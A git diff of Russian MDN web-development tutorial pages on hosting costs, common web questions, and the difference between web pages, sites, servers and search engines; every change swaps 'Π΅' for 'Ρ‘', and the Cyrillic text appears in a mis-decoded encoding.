<p>Когда Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-сайт, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ всС ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ: Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… (Ссли трСбуСтся), БистСму управлСния Π½Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ, ΠΈΠ»ΠΈ {{Glossary("CMS")}} (Ρ‚Π°ΠΊΡƒΡŽ ΠΊΠ°ΠΊ <a href="http://wordpress.org/">Wordpress</a>, <a href="http://dotclear.org/">Dotclear</a>, <a href="http://www.spip.net/en_rubrique25.html">spip</a>, ΠΈ Ρ‚Π΄.), Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²Π»Π΅Π½Π½Ρ‹Π΅ Π²Π°ΠΌΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ срСду хостинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π°, ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Π·Π° 10-15 Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ² Π² мСсяц, ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΏΠΈΡΠ°Ρ‚ΡŒΡΡ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΊ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ хостинг-сСрвису с прСдустановлСнным CMSs (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ, <a href="http://wordpress.com/">Wordpress</a>, <a href="https://www.tumblr.com/">Tumblr</a>, <a href="https://www.blogger.com/">Blogger</a>). Π’ послСднСм случаС, Π²Π°ΠΌ Π½Π΅ придСтся ΠΏΠ»Π°Ρ‚ΠΈΡ‚ΡŒ Π½ΠΈ Π·Π° Ρ‡Ρ‚ΠΎ, Π½ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ мСньшС контроля Π½Π°Π΄ шаблонами ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ элСмСнтами.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ срСду хостинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π°, ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Π·Π° 10-15 Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ² Π² мСсяц, ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΏΠΈΡΠ°Ρ‚ΡŒΡΡ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΊ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌΡƒ хостинг-сСрвису с прСдустановлСнным CMSs (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ, <a href="http://wordpress.com/">Wordpress</a>, <a href="https://www.tumblr.com/">Tumblr</a>, <a href="https://www.blogger.com/">Blogger</a>). Π’ послСднСм случаС, Π²Π°ΠΌ Π½Π΅ придётся ΠΏΠ»Π°Ρ‚ΠΈΡ‚ΡŒ Π½ΠΈ Π·Π° Ρ‡Ρ‚ΠΎ, Π½ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ мСньшС контроля Π½Π°Π΄ шаблонами ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ элСмСнтами.</p>
<h3 id="БСсплатный_хостинг_vs._ΠΏΠ»Π°Ρ‚Π½Ρ‹ΠΉ">БСсплатный хостинг vs. ΠΏΠ»Π°Ρ‚Π½Ρ‹ΠΉ</h3>
@@ -121,7 +121,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost
<li>БСсплатныС хостинги ΠΌΠΎΠ³ΡƒΡ‚ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Π΅ объявлСния ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ, Π² ΠΎΠ±Ρ…ΠΎΠ΄ вашСго контроля.</li>
</ul>
-<p>Π›ΡƒΡ‡ΡˆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ ΠΏΠ»Π°Ρ‚Π½ΠΎΠΌΡƒ хостингу, Ρ‡Π΅ΠΌ ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° бСсплатный, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΏΠ»Π°Ρ‚Π½Ρ‹Ρ… сайтов Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ Π±Π΅ΡΠΏΠ΅Ρ€Π΅Π±ΠΎΠΉΠ½ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ структурой. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ хостинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ΠΎΠ² прСдоставят Π²Π°ΠΌ ΠΎΠ³Ρ€ΠΎΠΌΠ½ΡƒΡŽ скидку для старта.</p>
+<p>Π›ΡƒΡ‡ΡˆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ ΠΏΠ»Π°Ρ‚Π½ΠΎΠΌΡƒ хостингу, Ρ‡Π΅ΠΌ ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π½Π° бСсплатный, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΏΠ»Π°Ρ‚Π½Ρ‹Ρ… сайтов Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ Π±Π΅ΡΠΏΠ΅Ρ€Π΅Π±ΠΎΠΉΠ½ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ структурой. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ хостинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ΠΎΠ² прСдоставят Π²Π°ΠΌ ΠΎΠ³Ρ€ΠΎΠΌΠ½ΡƒΡŽ скидку для старта.</p>
<p>НСкоторыС люди Π²Ρ‹Π±ΠΈΡ€Π°ΡŽΡ‚ ΡΠΌΠ΅ΡˆΠ°Π½Π½Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄. НапримСр, ΠΈΡ… Π³Π»Π°Π²Π½Ρ‹ΠΉ Π±Π»ΠΎΠ³ Π½Π° ΠΏΠ»Π°Ρ‚Π½ΠΎΠΌ хостС, с ΠΏΠΎΠ»Π½Ρ‹ΠΌ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, Π° Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠ΅Π½Π΅Π΅ Π²Π°ΠΆΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, Π½Π° бСсплатном хостС.</p>
@@ -142,9 +142,9 @@ translation_of: Learn/Common_questions/How_much_does_it_cost
<p>...ΠΈ для хостинга:</p>
<ul>
- <li>Π₯ΠΎΡ‚ΠΈΡ‚Π΅ Π»ΠΈ Π²Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹ΠΉ сСрвСр, Ссли Π²Π΄Ρ€ΡƒΠ³ ваш ΡƒΠΏΠ°Π΄Π΅Ρ‚?</li>
- <li>ΠΠ°Π΄Π΅ΠΆΠ½ΠΎΡΡ‚ΡŒ 95%, ΠΈΠ»ΠΈ Π²Π°ΠΌ трСбуСтся круглосуточный сСрвис обслуТивания?</li>
- <li>Π’Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ Π²Ρ‹ΡΠΎΠΊΠΎΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅, ΡΠ²Π΅Ρ€Ρ…Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Π΅ сСрвСры ΠΈΠ»ΠΈ Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ достаточно Π±ΠΎΠ»Π΅Π΅ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠΉ, машиной, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½ΠΎΠΉ для совмСстного использования.</li>
+ <li>Π₯ΠΎΡ‚ΠΈΡ‚Π΅ Π»ΠΈ Π²Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹ΠΉ сСрвСр, Ссли Π²Π΄Ρ€ΡƒΠ³ ваш ΡƒΠΏΠ°Π΄Ρ‘Ρ‚?</li>
+ <li>ΠΠ°Π΄Ρ‘ΠΆΠ½ΠΎΡΡ‚ΡŒ 95%, ΠΈΠ»ΠΈ Π²Π°ΠΌ трСбуСтся круглосуточный сСрвис обслуТивания?</li>
+ <li>Π’Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ Π²Ρ‹ΡΠΎΠΊΠΎΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅, ΡΠ²Π΅Ρ€Ρ…Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅ сСрвСры ΠΈΠ»ΠΈ Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ достаточно Π±ΠΎΠ»Π΅Π΅ ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎΠΉ, машиной, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½ΠΎΠΉ для совмСстного использования.</li>
</ul>
<p>Π’ зависимости ΠΎΡ‚ ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° эти вопросы, ваш сайт ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±ΠΎΠΉΡ‚ΠΈΡΡŒ Π²Π°ΠΌ Π² тысячи ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ сотни тысяч Π΄ΠΎΠ»Π»Π°Ρ€ΠΎΠ².</p>
diff --git a/files/ru/learn/common_questions/index.html b/files/ru/learn/common_questions/index.html
index 99127001de..325d2791d6 100644
--- a/files/ru/learn/common_questions/index.html
+++ b/files/ru/learn/common_questions/index.html
@@ -78,7 +78,7 @@ translation_of: Learn/Common_questions
<dt>
<h3 id="Как_Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ_Ρ„Π°ΠΉΠ»Ρ‹_Π½Π°_Π²Π΅Π±-сСрвСр"><a href="/ru/docs/Learn/Common_questions/Upload_files_to_a_web_server">Как Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹ Π½Π° Π²Π΅Π±-сСрвСр?</a></h3>
</dt>
- <dd>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ свой сайт Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСнтов FTP - ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· самых распространСнных способов ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ сайт общСдоступным, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π½Π΅ΠΌΡƒ со своих ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠ².</dd>
+ <dd>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒ свой сайт Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСнтов FTP - ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· самых распространённых способов ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ сайт общСдоступным, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π½Π΅ΠΌΡƒ со своих ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠ².</dd>
<dt>
<h3 id="Как_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ_GitHub_Pages"><a href="/ru/docs/Learn/Common_questions/Using_GitHub_Pages">Как ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ GitHub Pages?</a></h3>
</dt>
@@ -105,7 +105,7 @@ translation_of: Learn/Common_questions
<dt>
<h3 id="Какова_структура_Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ…_ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ²_сайтов"><a href="/ru/docs/Learn/Common_questions/Common_web_layouts">Какова структура Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² сайтов?</a></h3>
</dt>
- <dd>ΠŸΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ страниц вашСго сайта Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ прСдставлСниС ΠΎ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных ΠΌΠ°ΠΊΠ΅Ρ‚Π°Ρ…. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Ρ‹ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹Π΅ ΠΌΠ°ΠΊΠ΅Ρ‚Ρ‹ Π²Π΅Π±-сайтов, Π° Ρ‚Π°ΠΊΠΆΠ΅ части, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ входят Π² ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚.</dd>
+ <dd>ΠŸΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ страниц вашСго сайта Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ прСдставлСниС ΠΎ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых ΠΌΠ°ΠΊΠ΅Ρ‚Π°Ρ…. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Ρ‹ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹Π΅ ΠΌΠ°ΠΊΠ΅Ρ‚Ρ‹ Π²Π΅Π±-сайтов, Π° Ρ‚Π°ΠΊΠΆΠ΅ части, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ входят Π² ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚.</dd>
<dt>
<h3 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_удобство_использования"><a href="/ru/docs/Learn/Common_questions/What_is_accessibility">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ удобство использования?</a></h3>
</dt>
@@ -125,7 +125,7 @@ translation_of: Learn/Common_questions
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ распространённых Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΡ… Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π² HTML / CSS / JavaScript, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΡΡ‚Π°Ρ‚ΡŒΠΈ:</p>
<ul>
- <li><a href="/ru/docs/Learn/HTML/Howto">ИспользованиС HTML для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ распространСнных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ</a></li>
+ <li><a href="/ru/docs/Learn/HTML/Howto">ИспользованиС HTML для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ распространённых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ</a></li>
<li><a href="/ru/docs/Learn/CSS/Howto">ИспользованиС CSS для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ распространённых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ </a></li>
- <li><a href="/ru/docs/Learn/JavaScript/Howto">ИспользованиС JavaScript для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ распространСнных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ</a></li>
+ <li><a href="/ru/docs/Learn/JavaScript/Howto">ИспользованиС JavaScript для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ распространённых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ</a></li>
</ul>
diff --git a/files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html b/files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html
index 38139a33b7..a7a189fb93 100644
--- a/files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html
+++ b/files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html
@@ -12,7 +12,7 @@ translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines
original_slug: Learn/Pages_sites_servers_and_search_engines
---
<div class="summary">
-<p><span class="seoSummary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ расскаТСм ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… понятиях связанных с Π’Π΅Π±: ΠΎ Π²Π΅Π±-страницах, Π²Π΅Π±-сайтах, Π²Π΅Π±-сСрвСрах ΠΈ ΠΎ поисковых систСмах. Π­Ρ‚ΠΈ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ часто ставят Π² Ρ‚ΡƒΠΏΠΈΠΊ ΠΊΠ°ΠΊ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ… Ρ€Π°Π±ΠΎΡ‚Ρƒ с Π’Π΅Π±, Ρ‚Π°ΠΊ ΠΈ людСй, Ρ€Π΅Π΄ΠΊΠΎ ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ…ΡΡ ΡΠ΅Ρ‚ΡŒΡŽ. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΆΠ΅ разбСрСмся, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ эти понятия ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚!</span></p>
+<p><span class="seoSummary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ расскаТСм ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… понятиях связанных с Π’Π΅Π±: ΠΎ Π²Π΅Π±-страницах, Π²Π΅Π±-сайтах, Π²Π΅Π±-сСрвСрах ΠΈ ΠΎ поисковых систСмах. Π­Ρ‚ΠΈ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ часто ставят Π² Ρ‚ΡƒΠΏΠΈΠΊ ΠΊΠ°ΠΊ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ… Ρ€Π°Π±ΠΎΡ‚Ρƒ с Π’Π΅Π±, Ρ‚Π°ΠΊ ΠΈ людСй, Ρ€Π΅Π΄ΠΊΠΎ ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ…ΡΡ ΡΠ΅Ρ‚ΡŒΡŽ. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΆΠ΅ разбСрёмся, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ эти понятия ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚!</span></p>
</div>
<table class="learn-box standard-table">
@@ -53,7 +53,7 @@ original_slug: Learn/Pages_sites_servers_and_search_engines
<h2 id="ΠŸΠΎΠ³Ρ€ΡƒΠΆΠ°Π΅ΠΌΡΡ_Π³Π»ΡƒΠ±ΠΆΠ΅">ΠŸΠΎΠ³Ρ€ΡƒΠΆΠ°Π΅ΠΌΡΡ Π³Π»ΡƒΠ±ΠΆΠ΅</h2>
-<p>Π˜Ρ‚Π°ΠΊ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΊΠΎΠΏΠ½Π΅ΠΌ Ρ‡ΡƒΡ‚ΡŒ Π³Π»ΡƒΠ±ΠΆΠ΅Β ΠΈ ΡƒΠ·Π½Π°Π΅ΠΌ, ΠΊΠ°ΠΊ эти 4 Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π° связаны ΠΌΠ΅ΠΆΠ΄Ρƒ собой, ΠΈ ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ½ΡΡ‚ΠΈΡΒ Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ ΠΏΡƒΡ‚Π°ΡŽΡ‚ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ.</p>
+<p>Π˜Ρ‚Π°ΠΊ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΊΠΎΠΏΠ½Ρ‘ΠΌ Ρ‡ΡƒΡ‚ΡŒ Π³Π»ΡƒΠ±ΠΆΠ΅Β ΠΈ ΡƒΠ·Π½Π°Π΅ΠΌ, ΠΊΠ°ΠΊ эти 4 Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π° связаны ΠΌΠ΅ΠΆΠ΄Ρƒ собой, ΠΈ ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ½ΡΡ‚ΠΈΡΒ Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ ΠΏΡƒΡ‚Π°ΡŽΡ‚ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ.</p>
<h3 id="Π’Π΅Π±-страница">Π’Π΅Π±-страница</h3>
@@ -69,7 +69,7 @@ original_slug: Learn/Pages_sites_servers_and_search_engines
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β <a href="https://ru.wikipedia.org/wiki/Portable_Document_Format">PDF</a> Ρ„Π°ΠΉΠ»Π° ΠΈΠ»ΠΈ изобраТСния, Π½ΠΎ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ <strong>Π²Π΅Π±-страница</strong> большС относится нСпосрСдствСнно ΠΊ HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌ. Π”ΠΎ ΠΊΠΎΠ½Ρ†Π° ΡΡ‚Π°Ρ‚ΡŒΠΈ, Π² Π΄Π°Π½Π½ΠΎΠΌ случаС, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ понятиС  <strong>Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚</strong>.</p>
</div>
-<p>ВсС Π²Π΅Π±-страницы Π² ΡΠ΅Ρ‚ΠΈΒ ΠΈΠΌΠ΅ΡŽΡ‚ свой ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ адрСс. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π½ΡƒΠΆΠ½ΠΎΠΉ страницС просто Π½Π°Π±Π΅Ρ€ΠΈΡ‚Π΅ Π΅Π΅ адрСс Π² адрСсной строкС Π’Π°ΡˆΠ΅Π³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°:</p>
+<p>ВсС Π²Π΅Π±-страницы Π² ΡΠ΅Ρ‚ΠΈΒ ΠΈΠΌΠ΅ΡŽΡ‚ свой ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ адрСс. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π½ΡƒΠΆΠ½ΠΎΠΉ страницС просто Π½Π°Π±Π΅Ρ€ΠΈΡ‚Π΅ Π΅Ρ‘ адрСс Π² адрСсной строкС Π’Π°ΡˆΠ΅Π³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°:</p>
<p style="text-align: center;"><img alt="Example of a web page address in the browser address bar" src="https://mdn.mozillademos.org/files/8529/web-page.jpg" style="float: left; height: 239px; width: 650px;"></p>
@@ -95,17 +95,17 @@ original_slug: Learn/Pages_sites_servers_and_search_engines
<h3 id="Π’Π΅Π±-сСрвСр">Π’Π΅Π±-сСрвСр</h3>
